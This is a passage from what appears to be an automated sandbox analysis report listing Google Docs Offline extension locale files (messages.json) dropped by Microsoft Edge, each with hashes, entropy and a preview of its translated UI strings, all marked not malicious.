SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1340_733906220\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
